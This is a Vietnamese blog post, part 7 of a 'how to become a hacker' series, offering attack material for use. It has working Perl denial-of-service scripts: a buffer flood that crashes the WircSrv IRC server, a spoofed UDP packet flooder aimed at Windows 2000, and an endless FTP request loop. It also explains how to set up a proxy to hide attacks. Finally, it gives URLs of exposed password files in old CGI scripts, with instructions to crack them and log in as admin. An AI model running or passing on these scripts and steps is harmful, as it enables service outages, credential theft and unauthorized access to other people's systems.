Làm thế nào để trở thành Hacker ( Part 7) – hackerrank

2

PART 7

hackerrank

42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com…
Connected to example.com.
Escape character is ‘^]’.
[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):

CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts(‘s:’, %args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = “A”; # Đây là NOP
$number = “65000”; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf = “$data”;
$in_addr = (gethostbyname($serv))[4] || die(“Error: $!n”);
$paddr = sockaddr_in($port, $in_addr) || die (“Error: $!n”);
$proto = getprotobyname(‘tcp’) || die(“Error: $!n”);
socket(S, PF_INET, SOCK_STREAM, $proto) || die(“Error: $!”);
connect(S, $paddr) ||die (“Error: $!”);
select(S); $| = 1; select(STDOUT);
print S “$buf”;
print S “$buf”;
print(“Data has been successfully sent to $servn”);
sub usage {die(“nn Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS n gửi 2 64k gói tin đến server làm cho nó crash.n -s server_ipnn”);}

Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra theo lệnh sau :

C:>perl < đường dẫn đến file *.pl >

( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được dễ dàng thôi )

43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :

_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :

CODE
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts(“s:d:p:l:n:v:t:f:T:rL”,%o);$ver=”0.3a”;$0=~s#.*/##;
print”— $0 v.$ver b/ Nelson Brito / Independent Security Consultant — “;
$l=$o{‘l’}?$o{‘l’}+28:800+28;$n=$o{‘n’}?$o{‘n’}/2:800/2;
$v=$o{‘v’}||4;$t=$o{‘t’}||1;$f=$o{‘f’}||0;$T=$o{‘T’}||64;
$p=$o{‘p’}?$o{‘p’}:(getservbyname(‘isakmp’,’udp’)||die”getservbyname: $! “);

($o{‘s’}&&$o{‘d’})||die
” Use: $0 [IP Options] [UDP Options] “,
“IP Options: “,
” -s* Đia chi nguon đe bat chuoc “,
” -d* Đia chi bi tan cong “,
” -v IP Version (def: $v) “,
” -t IP Type of Service (TOS) (def: $t) “,
” -f IP fragementation offset (def: $f) “,
” -T IP Time to Live (TTL) (def: $T) “,
“UDP Options: “,
” -p cong cua may tinh nan nhan (def: $p) “,
” -l chieu dai cua goi tin (def: $l) “,
” -r cai đat du lieu ngau nhien (def: “.”) “,
“Generic: “,
” -n So luong goi tin ta muon gui đi (def: $n) “,
” -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he”,
” Bai huong dan cua ANHDENDAY . “;

while($n > 0){
$|=1;print”.”;$sp=int rand 65535;
$D=$o{‘r’}?(chr(int rand 255)) x $l:”.” x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{‘s’},
daddr=>$o{‘d’}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
$nb->send;undef $nb;!$o{‘L’}&&$n–;
}
print”Finish! “;

_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ dùng cho Win2000 nhé .

44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :

_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã sau vào file abc.pl :

CODE
#!/usr/bin/perl

use IO::Socket;

sub initiate {
if ($ARGV[0] eq ”) {die “Usage: perl abc.pl <host> <port> <username> <password>nVi du : perl abc.pl 127.0.0.1 21 anonymous me@n”;}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};

sub connecttoserver {
print(“Connect den host: $hostn”);
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => “tcp”,
Type => SOCK_STREAM
) || die “khong the connect den $host”;

print “Connect thanh cong . Loggin vao…n”;
};

sub login {
print “user $usern”;
print $socket “user $userrn”;
$response = <$socket>;
print “$responsen”;

print “pass $passn”;
print $socket “pass $passrn”;
$response = <$socket>;
print “$responsen”;

print “Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.n”;
};

sub doit {
for (;; ){
print “retr a:/xn”;
print $socket “retr a:/xrn”;
$response = <$socket>;
print “$response”;
}
}

initiate();
connecttoserver();
login();
doit();

_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó sử dụng vòng lặp không có giới hạn từ hàm $socket “retr a:/xrn” . Khi muốn kết thúc bạn chỉ cần nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD :

perl abc.pl http://www.xxx.com/ anonymous me

trong đó User name và Password có thể là bất kỳ .

Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ? Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi xin dừng phần DoS tại đây .

45 . ) Tự tạo cho mình một proxy để sài :

_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình một cái proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass mặc định mà nó cho bạn .
_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng chữ Test – script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó bạn nhấn “next” và nhìn ở phía dưới của trang này có chữ show all verdon , bạn hãy nhấn vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript ==>CGIproxy==>Next==>accept==> cho đến khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin vào các trang đó :
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com .
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .

46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script :

a . ) Calendar CGI Script :

_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :

http://www.xxx.com/cgi-bin/calendar/calendar.cfg

sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :

http://www.xxx.com/cgi-bin/calen…_admin.pl?admin

_ Vậy là bạn đã có được quyền admin rồi đó .

b . ) WebBBS Script :

_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts mới , xoá accounts view sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :

http://www.xxx.com/cgi-bin/advert/adpassword.txt

sau khi giải mã bạn logging vào:

http://www.xxx.com/cgi-bin/advert/ads_admin.pl

để login như là script administrator .

c . ) WWWBoard Script :

_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .

d . ) Mailmachine Script :

_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file adressed.txt chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại những urls sau:

http://www.xxx.com/cgi-bin/mailman/addresses.txt
http://www.xxx.com/cgi-bin/maillist/addresses.txt
http://www.xxx.com/cgi-bin/mail/addresses.txt

bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác . Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .

Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) .

======================================================

Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post lên ở những phần trước tôi đã không thêm ký hiệu “#” vào trước những câu phân tích đó , dẫn đến việc một số đoạn code không hoạt động . các bạn chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ < == ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix nhé .
Chúc vui vẻ .

GOOKLUCK!!!!!!!!!!!!

 

Các bài viết trước

Part 6

Part 5

Part 4

Part 3

Part 2

Part 1

 

Series : Làm sao để trở thành hacker

2 Comments
  1. Anh dz says

    không hiểu

    1. Nguyễn Hợp Quang says

      Bạn cần có kiến thức nền tảng mới có thể hiểu được nhé

Leave A Reply

Your email address will not be published.